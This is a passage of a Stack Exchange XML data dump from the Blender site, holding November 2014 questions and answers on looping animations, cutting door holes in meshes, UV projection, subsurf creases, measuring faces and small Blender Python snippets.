LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-11-02T09:38:49.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18437" PostTypeId="1" CreationDate="2014-11-02T10:22:44.363" Score="0" ViewCount="304" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How do you loop an animation inserted between, for example, keyframe 1 and 20, through out the whole 250 frames on the timeline?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do you animate a torus on repeat?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7808" LastEditorUserId="1363" LastEditDate="2014-11-02T11:12:41.277" LastActivityDate="2014-11-02T11:14:20.850" Title="Animation on keyframe and timeline" Tags="&lt;animation&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18438" PostTypeId="1" CreationDate="2014-11-02T10:39:05.490" Score="6" ViewCount="18112" Body="&lt;p&gt;I want to cut doors holes in walls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is method to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer to just cut hole and join vertexes to keep shape simple. Consider that wall has some width and is asymmetric on both sides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I extrude edge loop and do some cut or is there other simpler method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d2Eec.png&quot; alt=&quot;Screenshot of wall&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create edges and vertices on faces intersection?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bmPai.png&quot; alt=&quot;Screenshot of extruded faces&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7809" LastEditorUserId="7809" LastEditDate="2014-11-02T16:36:28.277" LastActivityDate="2020-12-26T21:35:56.503" Title="How to cut door hole in solid wall?" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18439" PostTypeId="2" ParentId="18437" CreationDate="2014-11-02T10:40:19.320" Score="2" Body="&lt;p&gt;When you add keyframes they are stored in an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet/Action&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Action&lt;/em&gt;&lt;/a&gt; to let them repeat add the action as an &lt;em&gt;Action Strip&lt;/em&gt; to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/NLA&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;NLA Editor&lt;/a&gt;&lt;/em&gt; and set the repeat property (in the property panel &lt;kbd&gt;N&lt;/kbd&gt;) to the number of repetitions. Note that the &lt;em&gt;Action Editor&lt;/em&gt; is mode of the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Dopesheet Editor&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2X2eR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-11-02T11:14:20.850" LastActivityDate="2014-11-02T11:14:20.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18440" PostTypeId="2" ParentId="18183" CreationDate="2014-11-02T11:21:34.307" Score="3" Body="&lt;p&gt;There is one notable difference between the cube and the building -&gt; The cube has a unit scale (1, 1, 1), but the building is scaled down. Since spawned objects adopt the local scale of the spawner, the behavior you observe, while not desired, is perfectly normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get desired behavior, you need to specify a spawner object (typically an empty) with a unit scale, and use that to spawn the relevant group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the script would now look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def decimate(cont):&#xA;    self = cont.owner&#xA;    scene = self.scene&#xA;    spawner = scene.objects[&quot;Spawner&quot;]&#xA;    spawner.worldPosition = self.worldPosition&#xA;    spawner.worldOrientation = self.worldOrientation&#xA;    scene.addObject(&quot;cube_parts&quot;, spawner)&#xA;    self.endObject()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Demo: &lt;a href=&quot;https://www.dropbox.com/s/ewo8e9tkbirjmaq/break_demo_spawner.blend?dl=1&quot; rel=&quot;nofollow&quot;&gt;break_demo_spawner.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6355" LastActivityDate="2014-11-02T11:21:34.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18441" PostTypeId="2" ParentId="18385" CreationDate="2014-11-02T11:26:04.017" Score="2" Body="&lt;p&gt;Give the red cube a dependency on the blue slider. Do this by adding a new variable as the slider location.z, you don't need to use this variable in your expression calculation but having it there adds a dependency that updates the location as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Q7SG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9oX0I.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-02T11:26:04.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18442" PostTypeId="2" ParentId="18438" CreationDate="2014-11-02T11:41:54.777" Score="3" Body="&lt;p&gt;You could select the faces you want to use for the door. And use inset &lt;kbd&gt;I&lt;/kbd&gt; to create the geometry. You can optionally extrude the door frame, and lower the door sill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WPyKc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-02T11:41:54.777" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18443" PostTypeId="1" CreationDate="2014-11-02T11:45:55.793" Score="0" ViewCount="643" Body="&lt;p&gt;I have added a mirror modifier then the skin modifier to my mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0KCB5.png&quot; alt=&quot;problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm supposed to have this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qylnt.png&quot; alt=&quot;No problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did I do wrong ?&lt;/p&gt;&#xA;" OwnerUserId="7811" LastEditorUserId="6308" LastEditDate="2015-03-14T13:51:45.190" LastActivityDate="2015-03-14T13:51:45.190" Title="Why does the mirror modifier not mirror perfectly?" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18444" PostTypeId="1" CreationDate="2014-11-02T13:13:00.397" Score="11" ViewCount="5753" Body="&lt;p&gt;I used world texture to make the sky in my scene, but when I render it, there is a gap from sky to objects in the scene. This is what I mean:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OqiE0.jpg&quot; alt=&quot;Horizon line&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I move down the horizon line? Is there another way to set the sky? Because I want the feel the scene is in a place high in the sky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender internal render.&lt;/p&gt;&#xA;" OwnerUserId="7814" LastEditorUserId="241" LastEditDate="2014-11-02T14:38:44.293" LastActivityDate="2015-01-06T21:11:32.283" Title="How can I move the horizon line?" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18445" PostTypeId="2" ParentId="18444" CreationDate="2014-11-02T13:51:11.600" Score="7" Body="&lt;p&gt;&lt;strong&gt;if you are using cycles:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the node editor, add an &lt;em&gt;input &gt; texture coordinate&lt;/em&gt; node and a &lt;em&gt;vector &gt; mapping node&lt;/em&gt;.  Plug the &lt;em&gt;generated&lt;/em&gt; output of the &lt;em&gt;texture coordinate&lt;/em&gt; node into the &lt;em&gt;vector&lt;/em&gt; input of the &lt;em&gt;mapping&lt;/em&gt; node and the &lt;em&gt;vector&lt;/em&gt; output of the &lt;em&gt;mapping&lt;/em&gt; node into the &lt;em&gt;vector&lt;/em&gt; input of the &lt;em&gt;environment texture&lt;/em&gt; node.  You can then tweak the values on the &lt;em&gt;mapping&lt;/em&gt; node to move, scale, and rotate the environment texture.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-11-02T13:51:11.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18446" PostTypeId="2" ParentId="18363" CreationDate="2014-11-02T16:01:41.853" Score="8" Body="&lt;p&gt;Using a UV project modifier you can use an empty to control the mapping of the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your UV unwrapped object create a material that uses the UVs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ygyfp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load your image in the background of the 3D view.&#xA;Add an empty and scale it to be the size of your picture. The numbers for the scale will help you determine the offset between each of the different expressions for your character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JjVzj.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your object and add a &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Modify/UV_Project&quot; rel=&quot;noreferrer&quot;&gt;UV project modifier&lt;/a&gt;&lt;/strong&gt;. On the modifier set your image, use image override, and set the Empty as projector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6M1fH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the texture of your object is controlled by the empty. If you move it around you can use different parts of your image as texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the empty and create different keyframes for different expressions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the curve editor set the interpolation between keyframes to &quot;constant&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Xj2a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DEv9g.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example blend &lt;a href=&quot;http://www.pasteall.org/blend/32570&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-11-02T16:01:41.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18447" PostTypeId="1" AcceptedAnswerId="18453" CreationDate="2014-11-02T16:43:51.750" Score="8" ViewCount="5734" Body="&lt;p&gt;How can I measure the size of a face in edit mode?&lt;/p&gt;&#xA;" OwnerUserId="7809" LastEditorUserId="2217" LastEditDate="2014-11-02T18:06:35.837" LastActivityDate="2017-05-17T13:07:47.933" Title="How to measure face size in meters, centimeters or any units which is set?" Tags="&lt;modeling&gt;&lt;units&gt;&lt;measurement&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18450" PostTypeId="2" ParentId="18438" CreationDate="2014-11-02T17:30:34.550" Score="0" Body="&lt;p&gt;With the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/tools/knife.html?#knife&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Knife Tool&lt;/em&gt;&lt;/a&gt; doors and windows can easily be cut into an existing mesh.&#xA;After pressing &lt;kbd&gt;K&lt;/kbd&gt; select where to cut when finished press &lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can constrain the angle axis &lt;kbd&gt;C&lt;/kbd&gt; also make sure that cut through is switched off (&lt;kbd&gt;Z&lt;/kbd&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BOnab.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pxYFf.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="15924" LastEditDate="2020-12-26T21:35:56.503" LastActivityDate="2020-12-26T21:35:56.503" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18453" PostTypeId="2" ParentId="18447" CreationDate="2014-11-02T18:16:28.897" Score="11" Body="&lt;p&gt;Simply tick &lt;em&gt;Length&lt;/em&gt;  under &lt;em&gt;Mesh Display&lt;/em&gt; in the &lt;em&gt;Properties&lt;/em&gt; side panel and it will show the length of the edges (also tick &lt;em&gt;Area&lt;/em&gt; to show the area if there are any faces). These measurements will use the unit specified under &lt;em&gt;Units&lt;/em&gt; in your &lt;em&gt;Scene&lt;/em&gt; settings. The shown units are local units and are scaled to world units by the object's Scaling settings (see also &lt;a href=&quot;https://blender.stackexchange.com/questions/47318/why-do-the-measurements-of-this-object-seem-erroneous&quot;&gt;Why do the measurements of this object seem erroneous?&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Agdtm.png&quot; alt=&quot;example measurement of a plane&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For something more extravagant, you can try the built-in &lt;a href=&quot;https://www.blender.org/manual/interface/grease_pencil/ruler_and_protractor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ruler/Protactor&lt;/a&gt; tool or Dolf's &lt;a href=&quot;http://www.macouno.com/commissions/caliper/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Caliper addon&lt;/a&gt; (install and usage instructions on the page).&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="27598" LastEditDate="2017-05-17T13:07:47.933" LastActivityDate="2017-05-17T13:07:47.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18455" PostTypeId="1" CreationDate="2014-11-02T19:22:58.020" Score="2" ViewCount="919" Body="&lt;p&gt;I rendered an image using the Render Regions add-on, and it turned out like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kKT11.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my render settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qrmuW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my Camera settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z8YOZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first image was rendered using the Render Regions addon, with one row and column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Render Regions set to four rows, here is what the top fourth of the image looks like when rendered at %100:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/z8cQP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what it looks like when rendered at 60 something percent:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tkfCD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the picture below, the region margin is as wide as the whole render dimension. Only the top region is selected. I used the Render Regions add-on to render four fourths of the image and the top fourth was rendered last. That picture is there to show you that Render Regions was rendering images as wide as the width of the render dimension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KQa5h.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because there is a background image being used as the sky, Alpha, under Shading needs to be set to Transparent. I'm using Blender Internal Render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little bit of computer info: 128 MB graphics, 3.00 GB RAM; 1 Intel Core 2 Duo processor T2500 2.5 GHz (processor is just a lucky guess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/download/hkw86dz97ex87ea/you_must_bump_these_textures.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link to .blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6014" LastEditorUserId="6014" LastEditDate="2014-11-04T01:14:30.623" LastActivityDate="2015-02-16T02:37:08.597" Title="Render Regions renders part of region only" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18457" PostTypeId="2" ParentId="18430" CreationDate="2014-11-02T19:56:56.750" Score="0" Body="&lt;p&gt;I've found out that it has to be rigid body.&#xA;Sitting on the &quot;ground&quot; the the rigid body is respecting the physics laws so it is loosing 2 &#xA;DOF rotations.&lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="7720" LastEditDate="2014-11-03T18:04:18.640" LastActivityDate="2014-11-03T18:04:18.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18458" PostTypeId="1" AcceptedAnswerId="18464" CreationDate="2014-11-02T20:20:00.400" Score="3" ViewCount="512" Body="&lt;p&gt;When pressing &lt;kbd&gt;W&lt;/kbd&gt; a cube is doing a forward movement.&#xA;When I press &lt;kbd&gt;S&lt;/kbd&gt; I want to make the &lt;kbd&gt;W&lt;/kbd&gt; movement inactive, how do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And after by pressing &lt;kbd&gt;W&lt;/kbd&gt; again I want the cube to do a back movement, so to do a different type of movement.&lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="2217" LastEditDate="2015-12-14T03:22:40.927" LastActivityDate="2015-12-14T03:22:40.927" Title="BGE: How to make a Key inactive after pressing another Key?" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18459" PostTypeId="1" AcceptedAnswerId="18460" CreationDate="2014-11-02T20:25:55.353" Score="1" ViewCount="157" Body="&lt;p&gt;I was wondering if it would be possible to change Blender to left click selection mode via Python. The tooltip in 2.72 says the Datapath is UserPreferencesInput.select_mouse, but I am a bit lost on how to get there. Is it part of the keymap definition? If so, can it be changed via Python at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on an add-on that changes quite a few hotkeys of Blender around in conjunction with Pie-Menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help here is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="7819" LastActivityDate="2014-11-02T20:28:14.823" Title="Is it possible to set Blender Selection Mode to left click selection via Python?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18460" PostTypeId="2" ParentId="18459" CreationDate="2014-11-02T20:28:14.823" Score="3" Body="&lt;p&gt;The full path to the current user preference is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.user_preferences.inputs.select_mouse = 'LEFT'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-02T20:28:14.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18461" PostTypeId="2" ParentId="18254" CreationDate="2014-11-02T20:58:06.113" Score="1" Body="&lt;p&gt;There is currently no way to do what you want from blender. &#xA;You can however set CYCLES_OPENCL_TEST to &quot;GPU&quot; and see only devices in blender that claim to be a GPU.&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-11-02T20:58:06.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18462" PostTypeId="2" ParentId="18407" CreationDate="2014-11-02T21:05:38.780" Score="2" Body="&lt;p&gt;I assume you are using the same graphics card for both display and compute/rendering. If so you could use hundreds of megabytes to windows and applications for display purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then attempt to render with cycles it needs to allocate another chunk of memory in order to support running a program ( cycles ) on your GPU and on top of that all the scene data and textures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This first bit of memory we cannot accurately measure currently. But it is the case that running an experimental kernel uses significantly more memory then the normal one ( again can be multi hundreds of megabytes). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you are unlucky and have a 2GB graphics cards you might only be able to use 700 mb of ram for textures + the scene data ( this is what blender measures and reports ). If you go over this you might place the card into a mode where it can no longer allocate enough for displaying and this might result in artefacts like the ones you show in the screen-shot.&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-11-02T21:05:38.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18463" PostTypeId="1" CreationDate="2014-11-02T21:46:51.423" Score="1" ViewCount="422" Body="&lt;p&gt;I have found &lt;a href=&quot;https://blender.stackexchange.com/questions/5636/how-can-i-get-the-location-of-an-object-at-each-keyframe&quot;&gt;this&lt;/a&gt; answer, but it works not inside animation handler.&#xA;Is it possible to get and print object locations (&lt;code&gt;xyz&lt;/code&gt;) from animation handler (&lt;code&gt;frame_change_pre&lt;/code&gt;) ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def my_handler(scene):&#xA;    ob = bpy.data.objects[&quot;ob_1&quot;]&#xA;    pos = ob.location&#xA;    print(pos)&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In example above location didn't changed from frame to frame.&lt;/p&gt;&#xA;" OwnerUserId="7820" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-11-03T09:36:07.747" Title="Get actual object location in animation handler" Tags="&lt;animation&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18464" PostTypeId="2" ParentId="18458" CreationDate="2014-11-02T22:10:34.517" Score="2" Body="&lt;p&gt;You can use states: In the first state, you have a &lt;kbd&gt;W&lt;/kbd&gt; keyboard sensor, linked to a motion actuator that moves the object forward, and you have an &lt;kbd&gt;S&lt;/kbd&gt; keyboard sensor linked to a &quot;Set State&quot; actuator, which will set the second state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the second state, you have a &lt;kbd&gt;W&lt;/kbd&gt; keyboard sensor, linked to a motion actuator that moves the object backward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should produce the desired behavior you described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a demo, if required: &lt;a href=&quot;https://www.dropbox.com/s/6rc1r3ynvw5u74j/logic_brick_key_remap.blend?dl=1&quot; rel=&quot;nofollow&quot;&gt;logic_brick_key_remap.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6355" LastEditorUserId="6355" LastEditDate="2014-11-03T11:35:53.743" LastActivityDate="2014-11-03T11:35:53.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18465" PostTypeId="1" AcceptedAnswerId="18467" CreationDate="2014-11-02T22:17:34.850" Score="3" ViewCount="1728" Body="&lt;p&gt;I am a complete beginner in blender, so my question may turn out to be trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a cylinder with some square-ish elements slightly carved into it, as you can see in this screenshot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Jn0D.png&quot; alt=&quot;as you can see in this screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the edges of the squares have a mean crease value of 1:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WagmQ.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;However when i apply a subsurf modifier the result looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gchHm.png&quot; alt=&quot;like this&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to keep the edges straight when applying the modifier?&lt;/p&gt;&#xA;" OwnerDisplayName="user7790" LastEditorDisplayName="user7790" LastEditDate="2014-11-02T23:12:01.913" LastActivityDate="2014-11-02T23:25:58.747" Title="Edges with mean crease set to 1 are still rounded by a subsurf modifier" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18466" PostTypeId="1" AcceptedAnswerId="18468" CreationDate="2014-11-02T22:56:31.990" Score="6" ViewCount="592" Body="&lt;p&gt;The title is pretty self explanatory, I am modeling two object on two different visible layers and I have blueprints for both of them, however I cannot find an option to limit the visibility of a background image to only one layer&lt;/p&gt;&#xA;" OwnerDisplayName="user7790" LastEditorUserId="12" LastEditDate="2014-11-02T23:21:36.980" LastActivityDate="2014-11-03T11:22:12.143" Title="Is it possible to have different background images for different visible layers?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18467" PostTypeId="2" ParentId="18465" CreationDate="2014-11-02T23:04:44.373" Score="4" Body="&lt;p&gt;Make sure the inner edges are creased at the corners as well. For example:&lt;/p&gt;&#xA;&lt;h2&gt;With only outer edges creased&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UTHBD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;With inner edges creased&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cUMVS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;As a bonus, you might want to drop an &lt;em&gt;Edge Split&lt;/em&gt; modifier on as well to get your object smooth and remove the stretched shades that creasing and subsurf will produce. Also see &lt;a href=&quot;https://blender.stackexchange.com/q/734/12&quot;&gt;How to smooth shade an object while retaining hard edges?&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PXt8l.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-11-02T23:25:58.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18468" PostTypeId="2" ParentId="18466" CreationDate="2014-11-02T23:15:51.797" Score="2" Body="&lt;p&gt;This isn't possible by default with the &lt;em&gt;Background Images&lt;/em&gt; subset in the &lt;em&gt;Properties&lt;/em&gt; panel, whichever image you have set to a view is what will show across all layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative however is to use &lt;em&gt;Empties&lt;/em&gt; with their &lt;em&gt;Display&lt;/em&gt; type set to &lt;em&gt;Image&lt;/em&gt; as detailed in my &lt;a href=&quot;https://blender.stackexchange.com/a/314/12&quot;&gt;answer here&lt;/a&gt;. This way you can just move the specific empty with the blueprint to the layer with the object you are working on. To have this not obscure or interfere with your work, just open the &lt;em&gt;Outliner&lt;/em&gt; and restrict these from being selected (the cursor icon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Notice that I switch from &lt;em&gt;Layer 1&lt;/em&gt; to &lt;em&gt;Layer 2&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7SVPe.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar method to the above is to enable the &lt;em&gt;Import Images as Planes&lt;/em&gt; addon and create two planes, one for each image. These can be placed in any layer, and display of the images can be enabled or disabled separately for each image by using the outliner window, or by careful placement of the planes in layers, and enabling or disabling the visibility of the layer.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-11-03T11:22:12.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
